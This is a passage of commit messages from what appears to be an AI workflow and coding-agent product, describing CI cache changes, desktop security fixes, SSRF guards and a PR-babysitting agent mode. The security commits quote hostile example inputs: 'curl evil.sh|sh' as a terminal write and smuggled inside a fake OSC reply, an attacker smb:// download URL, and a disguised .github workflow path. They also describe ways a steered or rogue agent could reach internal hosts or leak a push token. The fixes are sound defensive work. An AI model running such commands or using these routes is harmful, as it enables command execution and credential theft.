* fix(ci): scope the Next.js build cache sticky disk per branch The Turbopack persistent build cache disk was keyed on github.event_name alone, so every open PR shared one mutable volume. A sticky disk mount clones the last committed snapshot and commits back last-write-wins, so each PR build restored a cache produced by a different branch. Measured on the same staging commit, two runs minutes apart: the single-writer push disk compiled in 9.3 min, the shared pull_request disk in 14.0 min. Across 22 recent runs, push builds land at 3.5-11 min and PR builds at 13.5-17.8 min. Correctness matters more than the minutes here. turbopackFileSystemCacheForBuild is beta and cross-commit restore is not a documented-supported mode - vercel/next.js#87283 reports stale HTML from a cache built at another commit, with no maintainer answer. Every other cache layer in this repo already isolates by branch: GitHub's cache cannot read sibling branches, and Blacksmith's cache product branch-scopes by default. Only this key didn't. Adds pre/post-build cache size reporting, because whether the cache was warm is otherwise invisible - the disk mounts either way and turbo buffers the build log. Adds ci-cache-cleanup.yml to delete a branch's disk when its PR closes, so per-branch disks track open PRs instead of accumulating at ~5 GB each. Also corrects the 105s-cold/22s-warm comment: those were local numbers and have never reproduced in CI. * refactor(ci): trim the cache-key comments to the load-bearing facts Keeps the mechanism (one mutable volume per key, clone-on-mount, last-write-wins) and the two numbers, drops the restated reasoning. Both report steps collapse to a single du, dropping a second full walk of a ~5 GB tree. Cleanup workflow loses a concurrency group a once-per-PR delete never needed. |
||
|
Justin Blumencranz
|
161b21f86b | feat(pi): require the user's own API key for Create PR even on hosted models (#6056) | ||
|
Siddharth Ganesan
|
1a23438bb7 |
fix(desktop): release script (#6060)
* fix(desktop): fix release * fix * Updates * chore(copilot): sync generated mothership contract mirrors (user_table select descriptions from mothership #373) * fix(desktop): canonicalize the apex origin in setOrigin, not just on load |
||
|
Waleed
|
4f776b7a13 |
fix(desktop): fix 11 security findings from a deepsec scan of the desktop app (#6065)
* fix(desktop): gate terminal writes and user activation on real OS input The `needsUserActivation` gate asked the renderer about `navigator.userActivation` via `frame.executeJavaScript`, which evaluates in the page's main world — the same world as the compromised page the gate exists to stop, which need only redefine `navigator.userActivation` to pass it. The channels with no native confirmation behind them (`browser-credentials:forget`, `forget-all`, `browser-agent:clear-browsing-data`) had that as their only protection, so a background script could wipe the saved-password vault. `terminal:write` had no second gate at all. It is a `send` channel, and the send branch ran only the origin and feature checks, so an XSS'd or hostile app origin reached arbitrary command execution: `terminal:start` for an id, then `write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing `\r`. The tool-authorization binding covers `terminal:execute-tool` only. Both now answer from the main process's own record of OS input. Chromium delivers every input event to main before the renderer sees it and page script cannot synthesize one, so unlike panel focus (`terminal:focused`, a renderer-asserted claim the same attacker can set) it is a real boundary. Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove` arrive whenever the cursor rests over the window. * fix(desktop): reclaim tmux run temp directories that outlive their wait window `startRun` makes a temp directory per run holding the tee target and the status file, and only its handle can remove it. `runInTmux` disposed the handle on the `outcome.done` branch only — on the still-running path the handle was a local that went out of scope, and nothing polls that run again (`read` captures the pane instead). With a 30s default wait, every longer command leaked its `/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept appending the full output to it. Handles for still-running commands are now held per terminal and reclaimed by the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run on the same terminal first reaps any whose status file has since appeared. No reaper timer — the new-run path is already doing run bookkeeping. Live runs are left alone, since their tee is still writing there. Not a security issue: the directories are 0700 in the per-user tmpdir and tmux reaps the window itself. It is unbounded disk and inode growth. * fix(desktop): contain sign-in handoff failures when no window is available `handleCallback` awaited `deps.ensureMainWindow()` as its first statement with no try/catch, and index.ts dispatches it fire-and-forget as `void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws `Main window unavailable`, and main registers no `unhandledRejection` handler, so a user who closed the window while signing in through their browser turned the loopback callback into an unhandled rejection. `beginLoginHandoff` had the same shape, so both are fixed rather than one. Both entry points now resolve the window through a helper that records the failure via the existing `handoff_redeem_fail` event and returns null, and the two `void` dispatch sites carry a `.catch()` backstop for anything the flows do not record themselves. Not attacker-triggerable: `onLogin` fires only after `matchesPending()` validates the state that only the user's own browser holds. * fix(desktop): validate manual-update download urls against the scheme allowlist `buildManualEngine` regex-extracted `url:` values from the manifest served by the configured origin and handed the first `.dmg`/`.zip` straight to `shell.openExternal` — the only openExternal in non-test code that skipped `openExternalSafe`, whose own docs state "Every openExternal in the app goes through here". A hostile feed, or a hostile self-host origin the user was tricked into configuring, could return `version: 999.0.0` plus `url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so a Download click handed an arbitrary scheme to the macOS URL handler, launching a registered protocol handler instead of downloading. Candidates are now filtered with `isSafeExternalUrl` at selection, so an unusable url is never advertised as an available update at all, and the open goes through `openExternalSafe` so the allowlist also holds at the sink. Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin, so a self-host on localhost is legitimate. Reachability is capped: `detectSelfUpdateCapability` selects the signature-verifying electron-updater engine on Developer-ID builds, so the manual engine runs only on ad-hoc-signed local/CI prerelease builds. * fix(desktop): scope credential presence grants to the operation proven `provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and read it without reference to what the caller was about to do. `copyCredential` puts the plaintext on the clipboard from inside main and returns a boolean; `revealCredential` returns the string itself to the renderer. With one undifferentiated grant, approving a native "Copy password?" prompt silently authorized a plaintext reveal for the remaining 30s with no second prompt — the OS prompt is the only human-in-the-loop control on plaintext egress, and its label described something weaker than what it granted. Grants now carry their operation and are compared with an ordering rather than equality: reveal is the stronger claim, so a reveal grant still covers a later copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS was designed for (the plaintext is already on screen, so re-prompting to put that same string on the clipboard buys nothing). Only the weaker-implies- stronger direction is closed. `operation` is required rather than optional so the compiler names every call site; it found both. Not addressed, deliberately: the non-biometric fallback still uses `defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left for a decision rather than folded in here. * fix(desktop): DNS-check agent subresources that are readable or execute The agent partition's onBeforeRequest ran the resolving guard for mainFrame and subFrame only; everything else fell to isBlockedRequestUrl, which sees literal IPs and returns false for any hostname by design. A public name with a static private A record therefore reached internal services from a page the agent was steered to — no rebinding required. The vectors that matter are the ones whose response comes back or runs: a WebSocket to an internal server reads data frames cross-origin because such servers commonly ignore Origin, and a script or xhr response executes in the page or is readable. Subresources now take isBlockedSubresourceUrl, with the verdict cached per host (30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per asset. Images and fonts keep the synchronous path: high volume, not readable cross-origin, leaving the load/error timing oracle as the accepted residual. The exemption is expressed as what skips the check, not what gets it, so a resource type Chromium labels unexpectedly fails safe into the checked path — fetch is `xhr` on some versions and `other` on others, and an allowlist that missed the label in use would silently reopen the hole. Resolver errors fail closed, matching checkAgentUrl, and that verdict is not cached so a transient failure does not stick. The deliberate loopback carve-out is unchanged — isBlockedAddress already exempts it on both paths. * fix(desktop): close three credential-disclosure gaps in agent page functions Closed shadow roots. activeElementSecrecy is the only gate the driver consults before dispatching trusted CDP keystrokes, and it descended focus solely through `active.shadowRoot` — null by design for a closed root, while focus inside one retargets to the host, whose tagName is never INPUT. So a password field in a closed root reported 'safe', and Tab crosses closed boundaries natively. Now treated like a cross-origin frame. Detected by focusability rather than by tag: attachShadow accepts plain div/span/section as well as custom elements, so a tag test would miss half of them, whereas an element that is not focusable in its own right cannot be activeElement unless focus was retargeted out of a shadow tree. Multi-token autocomplete. isSecretField compared the whole attribute against 'current-password'/'new-password', but the spec allows space-separated detail tokens and WebAuthn recommends `current-password webauthn`. Those values fell through on exactly the type=text credential fields where autocomplete is the only signal. Now split into tokens, in all seven copies — the duplication is required by the `String(fn)` serialization contract, so consolidating was not an option. OTP and payment values. Deliberately NOT added to isSecretField: that helper also gates keystrokes, so folding them in would have stopped the agent completing a checkout or an OTP prompt — work it is legitimately asked to do. A separate predicate withholds only the value at the two emission sites, and the field is still reported with its real tag so the agent can fill it. * fix(desktop): hand the panel occlusion frame only to a user-driven renderer capturePanelSnapshot sent a JPEG of the agent browser's current page to the app renderer, which is content that renderer's own JS cannot otherwise read — the view is a separate process composited over the window. A compromised renderer can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself, so it could aim the shared agent browser at a site with a persisted session and collect its pixels by script alone, bypassing the tool-call binding that guards browser_screenshot for exactly this reason. The frame is now withheld unless the main process has seen recent real input in that renderer, which is what an overlay opening actually represents. The flicker-prevention behaviour is untouched: an empty capture already returns before the send while `finally` still runs the occlusion, so "occlude without a placeholder" is a path the state machine already handles rather than a new one. * fix(desktop): act on adversarial review of the security fixes Six review agents went through the branch line by line. Several of the fixes were wrong, incomplete, or worse than the finding they closed. terminal:write was gated on the whole channel, which is a functional break, not a fix. That channel carries xterm.js's entire upstream stream, and much of it is not typing: the PTY solicits replies the terminal must answer unprompted — DSR cursor position (p10k/starship emit it every prompt), device attributes, focus reports set by tmux and vim. Now only a payload that can submit (one containing a newline) needs input behind it. Also stated plainly in the code: this is a mitigation. Text without a newline still lands in the line buffer where the user's own Enter submits it, and closing that needs the interactive path off the renderer surface, not a better gate. The panel occlusion gate is reverted outright. Occlusion is driven by any element marked data-native-surface-overlay, which includes tooltips (hover, and hover is deliberately not "deliberate input") and toasts (no input at all), so the common case regressed. Worse, the renderer only ever sets panelSnapshot and never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the exact defect panel.test.ts was written to prevent — while the already-delivered frame stays readable. Net negative on both axes. The credential grant ordering is inverted to exact match. reveal was treated as dominating copy, but copy publishes plaintext to the macOS pasteboard: readable by every process, persisted by clipboard managers past the 30s clear, and synced to other devices by Universal Clipboard. The operations are incomparable. Update downloads are constrained to the release asset prefix, not just to https. The feed rewrites every entry to github.com/simstudioai/sim/releases/download/, so nothing legitimate is excluded — while scheme-only validation still admitted an attacker-hosted DMG that the download dialog walks the user through installing, which is worse than the protocol-handler launch originally fixed. The loopback exemption is dropped with it: no legitimate asset is ever http. State goes to 'error', not 'idle', so a blocked shell is not told it is current. Subresource DNS verdicts cache the promise, not the boolean. Caching only the result left every request arriving before the first lookup settled to start its own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with every fs call in main — a page naming hundreds of hosts could stall the settings write and the credential vault. Also: an eighth copy of the credential-token vocabulary in the browser preload was missed by the original commit while its comment claimed parity, so fill went blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength and told the agent a successful fill was still empty, inviting a doubled code; tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT are focusable and no longer report opaque; drags count as input; a backwards clock step no longer satisfies a recency gate; and clearing cache or profile now clears resolved-host verdicts too. The closed-shadow residual is documented rather than closed: a host carrying tabindex or contenteditable still reports safe, and refusing those would block Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is indistinguishable from no root at all. * refactor(security): one DNS resolver for every SSRF guard, checking all addresses Five independent `dns.lookup` bodies existed — four in apps/sim (validateUrlWithDNS, the database-host check, MCP domain-check, 1Password Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were copy-paste identical, and two properties diverged in ways that mattered: They classified ONE address. `resolved.find(family === 4) ?? resolved[0]` picked an address to pin and then judged only that one, so a host publishing both a public and a private record passed whenever the public record sorted first. That is record order, not policy, and validateUrlWithDNS alone is reached from ~70 call sites. Now every address is classified and the IPv4-preferred one is still what gets returned to pin — the pinning rationale (Happy Eyeballs fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is untouched. They had no deadline. Only the desktop copy bounded the lookup, so a hung resolver could hold an apps/sim request handler open indefinitely. The shared helper carries the 5s deadline, the swallowed late rejection, and the always cleared timer. `resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the `node:dns` dependency reaches only the servers that import it — apps/realtime pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged at 14 workspaces. Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a socket-connect `LookupFunction` that needs raw entries with their family and already validates every address, and desktop's per-host verdict cache keeps its own loopback policy on top of the shared resolver. The localhost carve-out is tightened as a consequence: it applies only when every record is loopback, so `localhost` that also resolves to the LAN no longer rides it. * fix(security): filter refused DNS records instead of failing the host validateUrlWithDNS rejected a host outright when any resolved address was private, while createSsrfGuardedLookup in the same file filters the private entries and connects to what remains. Filtering is equally safe — you pin a surviving public address — and rejecting broke a split-horizon resolver that answers with a private record alongside the public one, on a path with ~70 call sites and no operator opt-out. The pin is re-preferred over the surviving set so it can never be an address the filter just refused. Also from the review round: the browser preload's isPasswordField and findIdentifierField now split autocomplete tokens like the agent guards they claim parity with (a WebAuthn `current-password webauthn` field was invisible to credential fill); the subresource verdict cache holds the promise rather than the boolean, so the requests one page fires at a host share a lookup instead of each queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs calls also use; trailing-dot hosts normalize to one cache entry; the resolver carries a distinct DnsTimeoutError so an outage is not reported as a missing host; and clearHostVerdictCache is wired into both the profile wipe and the cache-clear path, since a resolved-host classification is browsing-trail data. * fix(desktop): invert the terminal-write gate, and finish the XHTML normalization Three defects from the second review round, two of them in the previous round's corrections. The tagName upper-casing was half-applied and made things worse. `focusableItself` compared the normalized tag while the frame-descent branch thirty lines below still compared raw `active.tagName`. In an XHTML document — where tagName is lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch (active.tagName === 'iframe'), fell through, and returned 'safe': the verdict that authorizes trusted CDP keystrokes. Before the correction the same page returned 'opaque'. Now normalized once per loop body and used at every comparison, in readActiveElementState too. The submit gate enumerated the dangerous set, which is not a closed set. Besides carriage return and newline, 0x04 hands a partial line straight to a canonical-mode reader, and 0x0f is operate-and-get-next in bash and accept-line-and-down-history in zsh — both execute the current line — and a user's own inputrc or zle bindings can add more. Inverted: the replies the PTY solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and everything else is gated, so a binding nobody thought of fails closed. The residual was understated. The window is satisfied by any input in the renderer — a keystroke in the chat, a scroll, a drag — not by the user's own Enter, so a looped payload lands the moment they touch anything, and while they type in the terminal it is open continuously. Said plainly now, with what closing it would actually take. Also: credential grants are keyed on credential AND operation, so exact match no longer prompts three times for reveal → copy → reveal when each was already proven; the panel.ts comment the revert deleted collaterally is restored, so the file leaves this branch untouched; updater's release-asset helpers no longer sit between feedUrlForOrigin's TSDoc and its function, and the asset path is a constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so the recency windows cannot lapse mid-test on a loaded machine; and dead exports (isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field, and a shadowed loop binding are cleaned up. * refactor(desktop): simplify what the security fixes added Quality pass from four parallel reviews (reuse, simplification, efficiency, altitude). No behavior change; every gate is unchanged. Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the IPv4-first rule inline — one 106-line file had two implementations of the rule its own TSDoc says callers depend on. url-guard's three host-normalization sites had two different rules (only one stripped a trailing dot); they share guardHost now. os-auth's grace check gained the same backwards-clock guard input-activity already had, since it is the same kind of security window. And a hand-rolled IPv6 bracket strip in input-validation.server.ts now calls the unwrapIpv6Brackets already imported at the top of that file. Simplification. Credential grants are a nested Map rather than a composite string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS — and makes revoke-by-credential a single delete, so a third operation added later cannot be missed by a revoke that forgot to enumerate it. The 15-term focusableItself chain is a local array. The 4-line token rationale was pasted above seven required copies of a 3-line expression; it is stated once now, and the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled pattern table rather than six alternations on one line. tagName is upper-cased once per loop body instead of three times. A side-effecting .filter() is a loop. senderHasUserGesture's TSDoc no longer documents the implementation it replaced. Efficiency. The expired-first eviction sweep is removed: every entry gets the same TTL and a refreshed host is re-inserted at the back, so insertion order IS expiry order — the sweep could never find an entry the front eviction does not already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address twice. dispose() no longer copies the key set to then get and delete per key. Also: validateDatabaseHost tests the allow-flag before scanning rather than after, the blocked-address log line reports the address actually blocked rather than an arbitrary record, and the preload's two autocomplete-token idioms became one reader. Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the channel gate a predicate (changes the dispatcher shape on both arms); a consume-once submit gate (behavior change, needs a paste path); folding the three-way request dispatch into one guardAgentRequest export; hoisting the release-repo identity into packages/desktop-bridge, which is worth doing and would make electron-builder.yml, update-feed.ts and updater.ts one fact instead of three; a shared helper prelude in execInPage so isSecretField stops being seven copies; and a CDP-sourced focus verdict so the driver stops trusting a page-derived signal at all. The last three are the ones worth a follow-up. * docs(desktop): correct comments that no longer match the code Comment audit over the branch. ~75 lines removed, no rationale lost. Two of these were actively misleading and are the reason the pass was worth running. Three comments still described the terminal gate as newline-keyed after the predicate was inverted to a reply allowlist, including one asserting "a raw write only becomes command execution on the trailing \r" — which is exactly the claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag carried the same stale name and is now payloadNeedsDeliberateInput, since it gates every payload that is not a solicited reply, not only submits. A TSDoc block in the browser preload had been orphaned: the new autocompleteTokens doc was inserted between isPasswordField and its own comment, so the doc documented the wrong declaration. The rest is duplication. The token-membership rationale had been collapsed to six copies of a pointer at the wrong target — the module header explains the duplication, not the token rule — so the pointers are gone and the rationale stays where it is stated in full. The subresource-exemption reasoning was still in three places; session.ts now points at the two url-guard TSDocs that own it. The "every address is judged" reasoning was in four places when ResolvedHost already documents it for every consumer. Also trimmed: a paragraph restating RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and two lines inside one comment block that repeated each other. Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL notes, the String(fn) serialization contract in page-functions.ts's header, the 0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and double-callback notes, and the test comments explaining why a fixture is shaped as it is. Those record decisions, which is what this repo comments. * fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML Both findings are in this PR's own hardening. The reply allowlist accepted a control byte in its body. DCS and OSC used `[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR BEL` — and be waved through as machine-generated, skipping the deliberate-input gate entirely and reopening the path the gate exists to close. Bodies are printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL and never a control byte. X10 mouse is bounded the same way, since its three bytes are offset by 32 and a control byte there is never legitimate either. isSecretField compared tagName raw in all seven copies, and isSensitiveValueField in both of its. tagName is lower-case for HTML elements in an XHTML document, so every credential field there read as ordinary — the value redaction and the keystroke refusal both failed open, on exactly the pages the predicate exists for. The earlier round upper-cased the frame and focusability comparisons and missed these nine. Normalized now, with the rule stated once in the module header rather than nine times. Both are covered by tests that fail against the previous form: a smuggled command in each of the three affected patterns, a genuine reply of each still forwarded, and a lower-case-tagName password field refused for both typing and snapshot disclosure. * fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux Fixes the two behavioural regressions rather than shipping them documented. The context-menu paste could be silently dropped. It read the clipboard with `await navigator.clipboard.readText()` and then wrote the text, so the write landed after an await — and if that read outran the input-recency window (a permission prompt, a slow read) the terminal-write gate refused it with no error and no log, on an action the user had just asked for. Reading in main removes the window entirely, and is the direction Electron itself took: the `clipboard` module was removed from renderers under RFC 0019 so page content cannot reach the clipboard, and the documented pattern is to use it in the main process behind a narrow contextBridge method. So `terminal:paste` is a gated invoke channel that reads the clipboard itself. It needs a real gesture (the Paste click), but not the write gate — the bytes are the user's clipboard rather than the caller's, so a compromised renderer can only replay what was already copied instead of choosing it. `paste` is optional on the bridge and the renderer falls back to the old path, so a shell that predates it is unaffected. The tmux status write is silenced. Closing a terminal tab reclaims the run's temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets it write on to the unlinked inode, and the space is reclaimed when it exits — but the command's trailing `printf > .../status` then failed into the pipeline and printed `No such file or directory` into the user's own tmux window, minutes after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim and drops the noise. |
||
|
Bill Leoutsakos
|
25d8019a54 |
feat(pi): Babysit foundations — shared PR/push extraction, five GitHub tools, sandbox lifetime (#5962)
* feat(pi): optional multi-provider web search for the coding agent Adds a search provider dropdown (Exa, Serper, Parallel, Firecrawl) to the Pi block, off by default. The selected provider's key comes from the block field or Workspace Settings → BYOK; a Sim-hosted key is never spent, so a missing key fails the run with a setup message instead of quietly billing Sim. Search is available in all three modes. Local Dev and Review Code register a host-side tool that goes through the existing provider tools, while Create PR has no host in the loop and gets a generated Pi extension in the sandbox. Both paths derive their requests from one normalizer and are held together by a parity test, since the sandbox copy cannot import Sim's code. Results are normalized to title, URL, snippet, and publication date, capped per field and per envelope, marked untrusted in the prompt, and limited to 20 searches per run so a tool loop cannot drain the workspace's quota. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(pi): drop the banned JSON round-trip from the search parity test `check:utils` bans `JSON.parse(JSON.stringify(...))`. The round-trip was normalizing the host body to its wire form, which buys nothing here: the bodies are plain JSON and `toEqual` already ignores undefined members. Co-authored-by: Cursor <cursoragent@cursor.com> * chore(agents): add reviewed-development skill and the babysit implementation plan Carries the plan and review protocol into the repository so a cloud agent working from the remote can read them. Temporary: the plan is removed before this branch goes for review. Co-authored-by: Cursor <cursoragent@cursor.com> * feat(pi): babysit foundations — shared PR/push extraction, GitHub tools, sandbox lifetime Stage 1 of the Babysit plan (.agents/plans/pi-babysit-mode.plan.md), sections 0, 3, and 7 plus their tests. The Babysit mode itself lands in stage 2. Section 0 — shared extraction and push hardening: - Move PREPARE_SCRIPT, PUSH_SCRIPT, and the finalize path/size constants from cloud-backend.ts into cloud-shared.ts. - Move Review Code's PR snapshot helpers into pi/github-pr.ts, generalized off PiCloudReviewRunParams to a plain PullRequestCoordinates, and split the raw fetch from the "must be open" wrapper so a mode that has to report a closed PR gracefully can build on the raw form. - Harden the one token-bearing command: GIT_CONFIG_NOSYSTEM/GIT_CONFIG_GLOBAL on its env, git by absolute path, and an explicit HEAD:refs/heads/$BRANCH refspec. The clone script now emits a .git/config digest marker as its last line for every mode; only Babysit will verify it. Section 3 — five GitHub tools, registered but not wired into the block dropdown: github_list_review_threads, github_reply_review_thread, github_resolve_review_thread, github_status_check_rollup (GraphQL) and github_job_logs (REST). Plus a nullable repo_full_name on the PR reader's branch parse, declared on its own output rather than the shared BRANCH_REF_OUTPUT. Section 7 — CreateSandboxOptions.lifetimeMs threaded to E2B's timeoutMs, clamped below the one-hour Hobby ceiling and lowerable by PI_SANDBOX_LIFETIME_MS. Daytona is deliberately untouched. The per-command Pi timeout is capped at the lifetime. * fix(tools): correct the rollup CheckRun selection and stop leaking the token on redirect Two defects found in review, both verified against the live GitHub API. GraphQL's CheckRun has no `output` object — that is REST's shape. It exposes `title`, `summary`, and `text` as flat nullable fields, confirmed by introspecting the schema. The old selection made every github_status_check_rollup call fail with "Field 'output' doesn't exist on type 'CheckRun'", delivered as an HTTP 200 errors payload that no fixture-based test could catch. The corrected query was run against a real PR and returns 18 check runs plus a Vercel status context, with title and summary null on every Actions run exactly as the plan predicted. github_job_logs redirects to third-party blob storage, and Sim's tool fetch follows redirects itself rather than through the fetch spec, so it replayed the GitHub token to that host. Tools can now declare `stripAuthOnRedirect`, and the log reader does. Also from review: pin Review Code's "must be open" guard with a test now that it lives in its own function, drop the stream reader in github_job_logs since the executor already hands transformResponse a capped buffer, and correct three doc comments that overstated what they guaranteed. * test(tools): cover the stripAuthOnRedirect plumbing end to end Asserting the flag on the tool config alone would not catch a regression in formatRequestParams or in the executor's call into secureFetchWithPinnedIP, so pin what the fetch layer actually receives, in both the opted-in and the default case. * fix(pi): correct the push-hardening claim, reserve finalize time, tighten isRequired Three review findings, each verified rather than taken on faith. PUSH_SCRIPT's comment claimed GIT_CONFIG_NOSYSTEM and GIT_CONFIG_GLOBAL close config-driven URL rewriting. They do not: reproduced locally on git 2.43, a repository-local url.*.insteadOf still rewrites the push URL and sends the token's userinfo to another host. That is the scope a root agent in the checkout can actually write, and it stays open until a mode verifies the config digest — which is Babysit, per the plan. The comment now says that instead of the opposite. PI_TIMEOUT_MS capped the Pi command at the whole sandbox lifetime, so the sandbox always died first and the stated benefit — a clean timeout instead of an opaque SDK error — could never happen. It now reserves the clone and finalize budgets it shares the sandbox with, leaving the host time to commit and push whatever the agent produced. isRequired is Boolean! on both CheckRun and StatusContext (confirmed by schema introspection), so the nullable parse modelled a value GitHub cannot send and left stage 2 a tri-state to handle. It is required now, and an absent value fails loudly rather than reading as "not required", which would let a failing required check stop blocking the green verdict. Also: a github-pr.test.ts pinning that the raw fetchPrSnapshot does not throw on a closed PR (the entire reason for the wrapper split, previously untested), a cloud-shared.test.ts for the timeout reserve and the digest line, the E2B lifetime ceiling documented next to E2B_PI_TEMPLATE_ID as section 7 asks, and the new registry tests no longer leaving their fake tools registered. * fix(pi): reserve both finalize budgets in the Pi command timeout Create PR dispatches two commands at FINALIZE_TIMEOUT_MS, not one — the commit and the push — so reserving a single budget left the push unbudgeted and the worst case overshot the sandbox lifetime by exactly that amount. Losing the sandbox during the push is the most expensive moment to lose it: the work is committed and unpushed, which is the outcome the reserve exists to prevent. The comment no longer claims more than the arithmetic delivers. What is reserved is each command's timeout ceiling rather than its measured elapsed time, so this is a budget that adds up, not a guarantee. Two other comments described Babysit verifying the config digest in the present tense, when no mode verifies it yet. Also drops the digest-line test: it asserted a string constant contains its own substrings, while cloud-backend.test.ts already pins the property that matters — the marker being the clone's last line, after the remote rewrite. * docs(pi): stop describing Babysit's digest check in the present tense Three comments still read as statements of current behavior: the Create PR push test's note beside the assertion that proves no verification happens, github-pr's module doc naming a second consumer that does not exist yet, and the timeout floor claiming a short-lifetime run was doomed regardless when the reserved ceilings are pessimistic enough that it may well finish. * fix(pi): scope the sandbox lifetime cap to E2B and harden the job-log path Deriving PI_TIMEOUT_MS from the E2B lifetime applied it to every provider, so a Daytona Create PR run lost its ~90-minute agent turn to a ceiling Daytona does not have — it stops on inactivity instead. The reserve now only applies when the provider imposes an absolute lifetime. A configured PI_SANDBOX_LIFETIME_MS below the clone and finalize reserves left no positive remainder for the turn, so E2B could reap the sandbox before the push. Such a value is raised to a floor rather than rejected: a module-scope throw on a config typo would take down every path that imports this, not just Pi. github_job_logs returns its response body verbatim, so unlike its siblings that parse a typed shape, a coordinate carrying URL syntax turned a bearer-authenticated request into a general read. Path segments are now escaped and the job id checked. Also corrects the plan's rollup field path: GraphQL's CheckRun has no output object, and isRequired is Boolean!, so stage 2 needs neither the nested path nor an unknown-required branch. Co-authored-by: Cursor <cursoragent@cursor.com> * Add Pi Babysit mode * fix(pi): wait on required checks before optional failures * fix(pi): preserve Daytona babysit budget * fix(pi): bound babysit round setup * fix(pi): keep babysit sandboxes active * fix(pi): report babysit round state accurately * fix(pi): classify babysit finalize failures * fix(pi): preserve babysit partial state * fix(pi): retain post-push check state * fix(pi): retain pending rereview state * fix(pi): normalize empty sandbox provider * Move Babysit into Create PR * Fix Babysit wait-only budgeting * Wait for reviews before skipped-thread exit * Polish Babysit reviewer field spacing * Fix duplicated Internet Search section from staging merge The staging merge landed the branch's Internet Search section and staging's reviewed replacement side by side, leaving two `### Internet Search` headings and two `#internet-search` anchors. The branch's copy also still claimed a Settings > BYOK fallback for the search key, which staging deliberately removed. Keep staging's section and fold the branch's only new fact — that the Babysit continuation sandbox carries both keys — into its warning callout. * fix(pi): correct Babysit check, budget, and push-guard accuracy Correctness: - The `.github/` push refusal compared raw `git diff --name-only` output, which git C-quotes for non-ASCII paths. `.github/workflows/évil.yml` arrived as `".github/workflows/\303\251vil.yml"` — leading quote included — so neither `.github` nor `.github/` matched and the file pushed. Both name-listing diffs now pin `core.quotePath=false`; Create PR's does too so `changedFiles` reports real names. - `CANCELLED` and `STALE` were counted as non-failing conclusions, so a cancelled required check produced `checksGreen: true` and `stopReason: 'clean'` on a PR branch protection still blocks. Both now fall through to failing, matching every other unknown conclusion. - The per-round check bound counted optional checks, so a repo with a wide optional matrix ended the run at `bounds_exceeded` before a single review thread was addressed. Only required-check overflow is fatal now; the rest trims, required checks first, and reports what was left out. This also makes the prompt's existing slice reachable. - A re-review request that posted nothing still re-armed `requestedAt` with `landed: false`, leaving the loop waiting on a review nobody had asked for — burning the remaining lifetime on a billed idle sandbox before reporting `awaiting_review` on a clean PR. The previous request now stands. - Prompt bounds threw where every other bound in the file trims, ending a busy PR's run on round one after the PR and its review comments were already posted. They now drop trailing entries and note the omission. - `babysitMode` used a strict boolean compare; a `switch` input arriving as the string 'true' silently opened a draft PR and skipped Babysit while the editor showed it enabled. Matches `wait-handler`'s coercion now. - The fork check compared head against the block's typed owner/repo, so a renamed repository — which GitHub serves through a 301 while reporting the canonical name — was reported as a fork. Compares head against base now. - Each round's diff is capped like Create PR's. The cumulative guard measures the net change, so a round that reverts an earlier addition passed it while contributing a full-size diff. - Reviewer mentions must start with `@`. Each entry becomes its own issue comment re-posted every round, so a comma inside one left prose on the PR. Efficiency: - Thread and check reads per poll now run together; neither consumes the other's result and both are paginating loops. - `babysitReviewLandedSince` takes the `latestReview` the caller already fetched instead of re-listing the PR for it. - Actions log reads fan out in small batches rather than one at a time. Cleanup: - `BabysitFinalizeError` was a twin of `BabysitGitHubError`; folded together. - Replaced the hand-inlined copies of `threadsAreClean`. - Dropped `MEMORY_MODES`, a duplicate of `AUTHORING_MODES`, and the `parsePiMode` tombstone for a mode that never shipped. Adds regression tests for the quoted `.github` path, cancelled/stale required checks, and the renamed-repository snapshot. * fix(pi): budget Babysit against the run's real deadline Three fixes that each needed to land a level below where the symptom showed. Execution deadline. Babysit planned its wait loop against `getMaxExecutionTimeout()`, which unconditionally returns the enterprise async ceiling (90 min) with no regard for the run's plan or sync/async mode — the sync ceiling is 300s on free, 3000s on pro. A synchronously triggered run was 